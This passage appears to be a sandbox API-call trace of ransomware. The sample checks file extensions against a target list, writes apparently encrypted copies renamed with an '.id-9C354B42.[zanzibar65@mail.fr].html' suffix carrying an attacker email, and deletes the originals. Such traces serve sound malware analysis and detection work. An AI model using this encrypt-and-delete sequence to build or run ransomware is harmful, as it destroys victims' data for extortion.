lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0270.759] lstrlenW (lpString=".dbf") returned 4 [0270.759] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0270.759] lstrlenW (lpString=".1cd") returned 4 [0270.759] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0270.759] lstrlenW (lpString=".jpg") returned 4 [0270.759] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0270.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0270.759] lstrlenW (lpString=".doc") returned 4 [0270.759] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.759] lstrlenW (lpString=".docx") returned 5 [0270.759] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0270.759] lstrlenW (lpString=".pdf") returned 4 [0270.760] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.760] lstrlenW (lpString=".xls") returned 4 [0270.760] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.760] lstrlenW (lpString=".xlsx") returned 5 [0270.760] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0270.760] lstrlenW (lpString=".ppt") returned 4 [0270.760] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0270.760] lstrlenW (lpString=".zip") returned 4 [0270.760] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.760] lstrlenW (lpString=".rar") returned 4 [0270.760] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.760] lstrlenW (lpString=".bz2") returned 4 [0270.760] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.760] lstrlenW (lpString=".7z") returned 3 [0270.760] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0270.760] lstrlenW (lpString=".dbf") returned 4 [0270.760] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0270.760] lstrlenW (lpString=".1cd") returned 4 [0270.760] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0270.760] lstrlenW (lpString=".jpg") returned 4 [0270.760] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.760] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0270.761] lstrlenW (lpString="FALL_01.MID") returned 11 [0270.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0270.777] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=4846) returned 1 [0270.777] CloseHandle (hObject=0x384) returned 1 [0270.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 0x20 [0270.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0271.197] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.197] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0271.355] GetLastError () returned 0x0 [0271.355] ReadFile (in: hFile=0x38c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x12ee, lpOverlapped=0x0) returned 1 [0271.360] WriteFile (in: hFile=0x370, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x12f0, lpOverlapped=0x0) returned 1 [0271.361] ReadFile (in: hFile=0x38c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.361] WriteFile (in: hFile=0x370, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0271.361] SetEndOfFile (hFile=0x370) returned 1 [0271.361] CloseHandle (hObject=0x370) returned 1 [0271.361] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.361] SetEndOfFile (hFile=0x38c) returned 1 [0271.365] CloseHandle (hObject=0x38c) returned 1 [0271.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 1 [0271.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0271.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0271.377] lstrlenW (lpString=".doc") returned 4 [0271.377] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.377] lstrlenW (lpString=".docx") returned 5 [0271.377] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.377] lstrlenW (lpString=".pdf") returned 4 [0271.377] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.377] lstrlenW (lpString=".xls") returned 4 [0271.377] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.377] lstrlenW (lpString=".xlsx") returned 5 [0271.377] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.377] lstrlenW (lpString=".ppt") returned 4 [0271.377] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0271.377] lstrlenW (lpString=".zip") returned 4 [0271.377] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.377] lstrlenW (lpString=".rar") returned 4 [0271.377] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.377] lstrlenW (lpString=".bz2") returned 4 [0271.377] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.378] lstrlenW (lpString=".7z") returned 3 [0271.378] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0271.378] lstrlenW (lpString=".dbf") returned 4 [0271.378] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0271.378] lstrlenW (lpString=".1cd") returned 4 [0271.378] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0271.378] lstrlenW (lpString=".jpg") returned 4 [0271.378] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0271.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0271.378] lstrlenW (lpString=".doc") returned 4 [0271.378] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.378] lstrlenW (lpString=".docx") returned 5 [0271.378] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.378] lstrlenW (lpString=".pdf") returned 4 [0271.378] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.378] lstrlenW (lpString=".xls") returned 4 [0271.378] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.378] lstrlenW (lpString=".xlsx") returned 5 [0271.378] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.378] lstrlenW (lpString=".ppt") returned 4 [0271.378] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0271.378] lstrlenW (lpString=".zip") returned 4 [0271.378] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.378] lstrlenW (lpString=".rar") returned 4 [0271.378] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.378] lstrlenW (lpString=".bz2") returned 4 [0271.379] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.379] lstrlenW (lpString=".7z") returned 3 [0271.379] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0271.379] lstrlenW (lpString=".dbf") returned 4 [0271.379] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0271.379] lstrlenW (lpString=".1cd") returned 4 [0271.379] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0271.379] lstrlenW (lpString=".jpg") returned 4 [0271.379] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.379] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.379] lstrlenW (lpString="INDST_01.MID") returned 12 [0271.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0271.525] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=8568) returned 1 [0271.525] CloseHandle (hObject=0x2ec) returned 1 [0271.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid")) returned 0x20 [0271.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0271.732] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.734] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0271.737] GetLastError () returned 0x0 [0271.737] ReadFile (in: hFile=0x380, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x2178, lpOverlapped=0x0) returned 1 [0271.751] WriteFile (in: hFile=0x304, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x2180, lpOverlapped=0x0) returned 1 [0271.752] ReadFile (in: hFile=0x380, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.752] WriteFile (in: hFile=0x304, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.752] SetEndOfFile (hFile=0x304) returned 1 [0271.752] CloseHandle (hObject=0x304) returned 1 [0271.753] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.753] SetEndOfFile (hFile=0x380) returned 1 [0271.754] CloseHandle (hObject=0x380) returned 1 [0271.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.759] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid")) returned 1 [0271.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0271.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0271.867] lstrlenW (lpString=".doc") returned 4 [0271.867] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.867] lstrlenW (lpString=".docx") returned 5 [0271.867] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.867] lstrlenW (lpString=".pdf") returned 4 [0271.867] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.867] lstrlenW (lpString=".xls") returned 4 [0271.867] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.867] lstrlenW (lpString=".xlsx") returned 5 [0271.867] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.867] lstrlenW (lpString=".ppt") returned 4 [0271.867] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0271.867] lstrlenW (lpString=".zip") returned 4 [0271.868] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.868] lstrlenW (lpString=".rar") returned 4 [0271.868] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.868] lstrlenW (lpString=".bz2") returned 4 [0271.868] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.868] lstrlenW (lpString=".7z") returned 3 [0271.868] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0271.868] lstrlenW (lpString=".dbf") returned 4 [0271.868] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0271.868] lstrlenW (lpString=".1cd") returned 4 [0271.868] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0271.868] lstrlenW (lpString=".jpg") returned 4 [0271.868] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0271.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0271.868] lstrlenW (lpString=".doc") returned 4 [0271.868] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.868] lstrlenW (lpString=".docx") returned 5 [0271.868] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.868] lstrlenW (lpString=".pdf") returned 4 [0271.868] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.868] lstrlenW (lpString=".xls") returned 4 [0271.868] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.868] lstrlenW (lpString=".xlsx") returned 5 [0271.868] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.869] lstrlenW (lpString=".ppt") returned 4 [0271.869] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0271.869] lstrlenW (lpString=".zip") returned 4 [0271.869] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.869] lstrlenW (lpString=".rar") returned 4 [0271.869] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.869] lstrlenW (lpString=".bz2") returned 4 [0271.869] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.869] lstrlenW (lpString=".7z") returned 3 [0271.869] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0271.869] lstrlenW (lpString=".dbf") returned 4 [0271.869] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0271.869] lstrlenW (lpString=".1cd") returned 4 [0271.869] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0271.869] lstrlenW (lpString=".jpg") returned 4 [0271.869] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.869] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.869] lstrlenW (lpString="PARNT_10.MID") returned 12 [0271.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0271.870] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=5393) returned 1 [0271.870] CloseHandle (hObject=0x2f8) returned 1 [0271.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 0x20 [0271.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0271.870] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.870] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0271.872] GetLastError () returned 0x0 [0271.872] ReadFile (in: hFile=0x2f8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x1511, lpOverlapped=0x0) returned 1 [0271.873] WriteFile (in: hFile=0x304, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x1520, lpOverlapped=0x0) returned 1 [0271.874] ReadFile (in: hFile=0x2f8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.874] WriteFile (in: hFile=0x304, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.874] SetEndOfFile (hFile=0x304) returned 1 [0271.874] CloseHandle (hObject=0x304) returned 1 [0271.874] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.874] SetEndOfFile (hFile=0x2f8) returned 1 [0271.876] CloseHandle (hObject=0x2f8) returned 1 [0271.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.876] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 1 [0271.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0271.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0271.876] lstrlenW (lpString=".doc") returned 4 [0271.876] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.876] lstrlenW (lpString=".docx") returned 5 [0271.876] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0271.876] lstrlenW (lpString=".pdf") returned 4 [0271.877] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.877] lstrlenW (lpString=".xls") returned 4 [0271.877] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.877] lstrlenW (lpString=".xlsx") returned 5 [0271.877] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0271.877] lstrlenW (lpString=".ppt") returned 4 [0271.877] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0271.877] lstrlenW (lpString=".zip") returned 4 [0271.877] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.877] lstrlenW (lpString=".rar") returned 4 [0271.877] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.877] lstrlenW (lpString=".bz2") returned 4 [0271.877] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.877] lstrlenW (lpString=".7z") returned 3 [0271.877] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0271.877] lstrlenW (lpString=".dbf") returned 4 [0271.877] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0271.877] lstrlenW (lpString=".1cd") returned 4 [0271.877] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0271.877] lstrlenW (lpString=".jpg") returned 4 [0271.877] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0271.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0271.877] lstrlenW 